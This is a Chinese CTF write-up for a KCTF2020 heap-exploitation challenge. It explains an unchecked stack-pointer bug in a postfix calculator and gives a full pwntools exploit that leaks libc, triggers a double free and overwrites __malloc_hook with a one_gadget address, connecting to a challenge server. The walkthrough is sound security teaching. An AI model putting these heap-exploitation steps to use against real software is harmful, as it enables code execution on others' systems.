-
-
[原创] KCTF2020 秋季赛 第六题 兵刃相向
-
2020-12-15 00:20 6087
-
在evaluate_postfix_expression中:
1 2 3 4 5 6 7 8 9 10 11 | else if (is_operator(e[i])){ uint64_t v1 = val_stack[val_stack_ptr - 2 ]; uint64_t v2 = val_stack[val_stack_ptr - 1 ]; val_stack_ptr - = 2 ; uint64_t res = calc(v1,v2,e[i]); val_stack[val_stack_ptr + + ] = res; } else return 0 ; } |
可以看到此时计算,没有对val_stack_ptr进行check
而且在create时:
1 2 3 4 5 | int total_size = 19 + 8 + peN; void * p = malloc(total_size); memcpy(p,symbol_name, 19 ); * (uint64_t * )((char * )p + 19 ) = val; memcpy((char * )p + 27 ,postfix,peN); |
直接memcpy,有可能造成和前面free的垃圾数据想接
例如,正确情况下process_infix_token解析:
1 | 1 + 1 + 1 = > 1 1 + 1 + |
free后create,新解析的数据和垃圾数据相接:
1 2 | 第二次输入: 111 解析后 buffer : 111 + 1 + |
在evaluate_postfix_expression中val_stack[val_stack_ptr++] = res,就会造成stack向前越界一个位置进行运算
而:
1 2 3 4 5 6 | typedef struct { uint64_t g_broken; uint64_t unused; void * g_symbol_ptrs[ 21 ]; uint64_t g_val_stack[ 50 ]; } G_CTX; |
stack前就是一个g_symbol_ptrs
Exploit
由于可以越界stack,可以将一个g_symbol_ptrs进行运算
将其name位置指向一个unsortedbin的fd,就可以利用reevaluate功能(通过symbol是否存在)逐字节爆破出fd(leak libc)
而后再次利用对g_symbol_ptrs进行运算,将其和另一个symbol指向同一位置即可通过堆风水进行double free(让一个chunk_addr&0xff=0,以便double free时猜测symbolname)
double free后指向&\_mallochook-0x23,此时,symbol.value就是\_malloc_hook,输入一个计算得到one_gadget的算式设置__malloc_hook即可,再次create即可触发one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | from pwn import * # context.terminal = ['tmux', 'splitw', '-h'] context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) #p = process('./ee',env={'LD_PRELOAD':'./libc.so.6'}) p = remote( "121.36.145.157" , 10000 ) ''' printf("1.Create Symbol\n"); printf("2.Delete Symbol\n"); printf("3.Reevaluate Symbol\n"); printf("4.Show\n"); printf("5.Exit\n"); printf("Your choice : "); ''' def add(name, expression): p.sendlineafter( "Your choice : " , '1' ) p.sendlineafter( 'Symbol name :' , name) p.sendafter( 'Expression : ' , expression) def delete(name): p.sendlineafter( "Your choice : " , '2' ) p.sendlineafter( 'Symbol name : ' , name) def magic(name): p.sendlineafter( "Your choice : " , '3' ) p.sendlineafter( 'Symbol name : ' , name) def show(name): p.sendlineafter( "Your choice : " , '4' ) p.sendlineafter( 'Symbol name : ' , name) s = "000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 " for i in range ( 16 ): add( chr ( 97 + i), "1+1+1+1" ) padding = "000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 " add( "pad" ,padding) add( "padd" ,padding) add( "paddd" ,padding) add( "kirin" ,s) add( "aaaaa" , "1+1" ) delete( "kirin" ) delete( "aaaaa" ) add( "aaaaa" , "1+1" ) add( "kirin" , "1+1+1+1" ) delete( "a" ) add( "a" , "0050" ) magic( "a" ) key = [] for i in range ( 256 ): magic( chr (i) + "\x7f" ) s = p.recvuntil( "***" ) if "Reevaluate symbol finished" in s: info(i) key = chr (i) + "\x7f" break delete( "a" ) add( "a" , "1-1-1" ) #1 1 - 1 - delete( "a" ) add( "a" , "0001" ) magic( "a" ) for j in range ( 3 ): for i in range ( 256 ): magic( chr (i) + key) s = p.recvuntil( "***" ) if "Reevaluate symbol finished" in s: info(i) key = chr (i) + key break magic( 'a' ) info(key) libc = u64( "\x78" + key + "\x00\x00" ) - 0x00007ffff7dd1b78 + 0x7ffff7a0d000 print hex (libc) delete( 'a' ) add( 'a' , '0272' ) magic( 'a' ) delete( "pad" ) delete( "padd" ) delete( "paddd" ) delete( "\x00" ) delete( "a" ) add(p64(libc + 0x003c4b10 - 0x23 ),padding) add( "kirin1" ,padding) add( "kirin2" ,padding) libc = libc + 0xf02a4 add( "kirin3" ,( str (libc>> 32 ) + "*" + str ( 0x100000000 ) + "+" + str (libc& 0xffffffff ) + "+0000000000+0000000+0" ).ljust( 0x36 , '0' )) add( 'kirin-say' , "0" ) #gdb.attach(p) p.interactive() |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
看原图